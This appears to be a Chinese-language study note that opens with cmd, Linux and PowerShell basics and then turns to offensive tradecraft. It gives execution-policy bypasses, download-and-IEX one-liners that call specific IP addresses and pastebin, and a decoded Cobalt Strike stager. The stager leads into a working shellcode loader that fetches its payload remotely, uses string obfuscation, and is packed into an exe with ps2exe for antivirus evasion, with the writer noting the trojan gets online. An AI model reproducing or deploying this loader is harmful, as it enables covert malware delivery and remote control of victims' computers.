.NET编程语言编写的
cmd命令和linux
dir ls 遍历目录
del del /f 1.txt rm -f 1.txt 删除文件
move,rename mv 移动文件/更改文件名
ipconfig /all /flushdns 刷新dns缓存 ifconfig
tasklist 任务进程列表
systeminfo uname -a 查看系统信息
netstat -ano netstat -anop 查看进程(管理员)
powershell基础
本地运行powershell脚本
powershell -ep bypass -f test.ps1
远程运行powershell脚本
powershell -c "Invoke-Expression (New-Object System.Net.WebClient).DownloadString('URL')"
powershell -c "Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/mdr9tHRs')"
powershell -c "Invoke-Expression (New-Object System.Net.WebClient).DownloadString('http://139.155.49.43:8000/cmd')"
Invoke-Expression(IEX的别名):用来把字符串当作命令执行。
WindowStyle Hidden(-w Hidden):隐藏窗口
Nonlnteractive(-NonI):非交互模式,PowerShell不为用户提供交互的提示。
NoProfile(-NoP):PowerShell控制台不加载当前用户的配置文件。
Noexit(-Noe):执行后不退出Shell。
EncodedCommand(-enc): 接受base64 encode的字符串编码,避免一些解析问题
在公网中保存一个字符串
脚本执行策略(重点)
在计算机系统中启动PowerShell时,默认执行策略不允许我们执行或运行脚本。
查看当前执行策略
Get-ExecutionPolicy
获取影响当前会话的所有执行策略,并按优先顺序显示它们
Get-ExecutionPolicy -List
将执行策略设置为 Unrestricted
Set-ExecutionPolicy Unrestricted
PowerShell中可以设置以下类型的执行策略:
绕过执行策略
本地读取然后通过管道符运行
powershell get-content a.ps1 | powershell -noprofile -
远程下载并通过IEX运行脚本
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx/a.ps1')"
Bypass执行策略绕过
powershell -executionpolicy bypass -File ./a.ps1
Unrestricted执行策略
powershell -executionpolicy unrestricted -File ./a.ps1
PowerShell注释
#单行注释
<#
多行注释
#>
PowerShell Cmdlet
Cmdlets是PowerShell的非常重要的内部命令集。
Cmdlet发音为” command-lets”,它是在PowerShell环境中使用的轻量级命令。
这些是在 PowerShell环境中实现特殊功能的特殊命令。
Cmdlet遵循“动词-名词”模式,例如:set-childItem Cmdlet是以.NET类实例形式存在的命令。
Cmdlets可以用任何.NET语言来编写,也可以用 PowerShell脚本语言来编写。
它并不是简单的可执行文件,它有很多属性,这些属性用来指定输入参数或者使用管道来管理重定 向。 我们可以通过输入Get-Command 可以显示可用的Cmdlets命令。
Get-Command -CommandType Cmdlet
常用Cmdlet命令
下面的简写称为别名
查看powershell版本
$PSVersionTable
Get-Host
查看当前环境变量
Get-ChildItem env:
gci env:
ls env:
dir env:
启动指定程序
Start-Process calc.exe
saps calc.exe
start calc.exe
获取指定进程信息
Get-Process explorer
gps
ps
获取文件信息
Get-Item 1.txt
gi
复制文件
Copy-Item 1.txt 2.txt
cpi
cp
copy
移动文件
Move-Item 1.txt 2.txt
mi
mv
move
获取指定服务信息
Get-Service -Name Everything
获取文件Hash
Get-FileHash -Algorithm SHA1 1.txt
Get-FileHash -Algorithm MD5 1.txt
获取文件内容
Get-Content 1.txt
gc
cat
type
设置文本内容
Set-Content 1.txt -Value "hello, word"
sc
删除文件的内容,但不删除该文件
Clear-Content 1.txt
获取当前目录
Get-Location
gl
pwd
查看别名
Get-Alias -name dir
基本语法
管道符
| # 将一个命令的输出作为另一个命令的输入
分号
; # 分号用来连续执行系统命令
调用操作符
& # 调用操作符,它允许你执行命令,脚本或函数
输出单双引号
"""" # 输出双引号
'''' # 输出单引号
运输符
> :将输出保存到指定文件中(用法:Get-Process > output.txt)
>> :将脚本的输出追加到指定文件中(用法:test.ps1 >> output.txt)
2> :将错误输出到指定文件中(Get-Porcess none 2> Errors.txt)
2>> :将错误追加到指定文件中(Get-Process none 2>> logs-Errors.txt)
-eq :等于运算符(用法:$var1 –eq $var2,返回真或假)
-gt :大于运算符(用法:$var1 –gt $var2,返回真或假)
-match :匹配运算符,搜索字符串是否在文中出现(用法:$Text –match $string,返回真或假)
-replace :替换字符串(用法:$Text –replace 被替换的字符,替换的字符,返回真或假)
-in :测试一个字符或数字是否出现在文本中或列表中,声明列表直接使用()
变量
变量都是以 $ 开头
$w = "hello world" # 变量赋值
$w # 访问变量
数组
$a = 'value1','value2','value3' # 创建数组
$a[0] # 访问数组第一个元素
$a = @() # 空数组
$a = 1,'two',(get-date)
语句
- 条件语句
if($var {comparison_statement} $var2) {What_To_Do}
else {what_to_if_not}
- 循环语句
while() {}
Do {} While()
For(;;;) {}
Cmd启动Powershell
(1) 常规方法
cmd.exe /c "powershell -c Write-Host SUCCESS -Fore Green"
cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
(2) 管道输入流
cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX $input"
cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
(3) 环境变量
cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green && powershell IEX $env:cmd"
cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green && cmd /c echo %cmd% | powershell -"
cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green && powershell IEX ([Environment]::Get
EnvironmentVariable('cmd', 'Process'));"
cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green&&powershell IEX ((Get-ChildItem env:c
md).Value)"
(4) 从粘贴板执行
cmd.exe /c "echo Write-Host CLIP -Fore Green | clip && powershell [void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); IEX ([System.Windows.Forms.Clipboard]::GetText())"
(5) bat脚本执行
@echo off
powershell -c Write-Host SUCCESS -Fore Green
pause
CS的Powershell加载器(分离式免杀)
在cobaltstrike中,我们经常会使用powershell远程加载上线,下面来大概分析下其基本原理。
(1) CS生成Powershell反弹shell
- CS拓展应用
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://62.234.36.13:8088/a'))"
(2) 获取远程加载代码
- 访问url链接即可获得如下代码
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("...base64加密payload..."));IEX(New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
- 代码解释
先 base64 解码一段字符串,然后通过 IO.Compression.GzipStream 解压缩,最终将代码通过 IEX 加载执行。
MemoryStream类:位于System.IO命名空间,为系统内存提供流式的读写操作 。常作为其他流数据交换时的 中间对象操作。
StreamReader类:位于System.IO命名空间,实现一个可读取有序字符系列的读取器,使其以一种特定的编码 从字节流中读取字符。
GZipStream类:位于System.IO.Compression命名空间,使用 GZip 数据格式规范提供用于压缩和解压缩流 的方法和属性。
GZipStream(Stream, CompressionMode):用指定的流和压缩模式初始化 GZipStream 类的新实例。 [IO.Compression.CompressionMode]::Decompress:指定为解压缩模式
StreamReader.ReadToEnd() 方法:读取来自流的当前位置到结尾的所有字符
(3) 获取加密字符串源码
- 把 IEX 更改为 echo
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("......"));echo (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
- 保存为 b.ps1 并执行此脚本
powershell -ep bypass -f b.ps1 > b.txt
- 获得加密字符串的源码
# 启用 PowerShell 的严格模式,并设置版本为 2
# 强制要求变量在使用之前必须先声明,并且不允许使用未定义的属性、方法和变量等。
Set-StrictMode -Version 2
# 定义func_get_proc_address函数
function func_get_proc_address {
# 函数接收两个参数,$var_module表示要加载函数的DLL库名称,$var_procedure 表示要查找的函数名称。
Param ($var_module, $var_procedure)
# 通过GetAssemblies()方法获取当前应用程序域中已加载的所有程序集,然后使用Where-Object过滤出所有在全局程序集缓存中且名称为System.dll的程序集。
# 从 System.dll 中加载 Microsoft.Win32.UnsafeNativeMethods 类
# 使用GetType()方法从Microsoft.Win32.UnsafeNativeMethods类中获取一个表示GetProcAddress()方法的MethodInfo对象
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
# 使用GetType()方法从Microsoft.Win32.UnsafeNativeMethods类中获取一个表示GetProcAddress()方法的MethodInfo对象并获取 GetProcAddress 方法。
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
# 然后通过调用该对象的Invoke()方法,获取函数地址。
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}
# 定义func_get_delegate_type函数,创建一个新的委托类型,并返回改类型
function func_get_delegate_type {
# 函数接收两个参数,$var_parameters 表示该委托类型所接受的参数为类型数组,是必需的参数。
# $var_return_type 表示该委托类型的返回值类型。默认为 [Void]
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
# 使用 .NET 的 Reflection.Emit 命名空间动态创建具有指定参数和返回类型的新委托类型。
# 然后它为该委托类型定义一个构造函数和 Invoke 方法,并返回类型对象。
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
return $var_type_builder.CreateType()
}
# 通过比较IntPtr类型的大小是否为8字节,来判断系统是否为64位
If ([IntPtr]::size -eq 8) {
# base64解码操作
[Byte[]]$var_code = [System.Convert]::FromBase64String('...base64加密后的payload...')
# 将byte数组进行xor异或操作
for ($x = 0; $x -lt $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35
}
# Marshal 类:提供了一个方法集合,这些方法用于分配非托管内存、复制非托管内存块、将托管类型转换为非托管类型,此外还提供了在与非托管代码交互时使用的其他杂项方法。
# GetDelegateForFunctionPointer<TDelegate>(IntPtr):[在 .NET Framework 4.5.1 和更高版本中受支持] 将非托管函数指针转换为指定类型的委托。
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
# 申请一块内存
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
# 将payload复制到内存
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
# 执行内存中的payload
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
}
-
将 payload(base64加密后的数据) 保存为 new.bin 文件
cs2.ps1
#选中地方改为$enc
$enc=[System.Convert]::FromBase64String('...base64加密后的payload...')
#输出到new.bin中
for ($x = 0; $x -lt $enc.Count; $x++) {
$enc[$x] = $enc[$x] -bxor 35
}
$infile = [System.IO.File]::WriteAllBytes("new.bin",$enc)
- 修改代码为读取 new.bin 文件内容到内存
[Byte[]]$var_code = [System.IO.File]::ReadAllBytes('new.bin')
运行输出new.bin文件
powershell -ep bypass -f cs2.ps1
(4) Powershell加载器
- 修改后的powershell加载shellcode的加载器(还是会被杀)
shellcodeloder.ps1
Set-StrictMode -Version 2
function func_get_delegate_type_new {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Inv'+'oke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
return $var_type_builder.CreateType()
}
function func_get_proc_address_new {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = [AppDomain]::CurrentDomain.GetAssemblies()
$var_unsafe_native_methods_news = ($var_unsafe_native_methods | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods_news.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods_news.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}
If ([IntPtr]::size -eq 8) {
[Byte[]]$acode = (New-Object Net.WebClient)."Down`l`oadData"($args[0])
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address_new kernel32.dll VirtualAlloc), (func_get_delegate_type_new @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $acode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($acode, 0, $var_buffer, $acode.length)
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type_new @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
}
- 通过接收本地或远程的 payload 实现加载器与 shellcode 分离(会被杀,不学了,直接第3步)
powershell -ep bypass -f d.ps1 new.bin
powershell -ep bypass -f d.ps1 http://139.155.49.43:8000/shell1.bin
- 通过ps2exe把powershell脚本转成exe(免杀了)
https://github.com/MScholtes/Win-PS2EXE
powershell.exe -ep bypass -command "&'.\ps2exe.ps1' -inputFile 'shellcodeloader.ps1' -outputFile 'd.exe'"
接下来将new.bin文件上传到服务器,开启一个监听
python3 -m http.server
用户访问后会将文件下载下来,然后运行d.exe就可以加载payload
d.exe http://62.234.36.13/new.bin
载入时会报毒,但木马已经上线
直接生成可免杀,但是有控制台窗口,生成 noConsole 的exe会被杀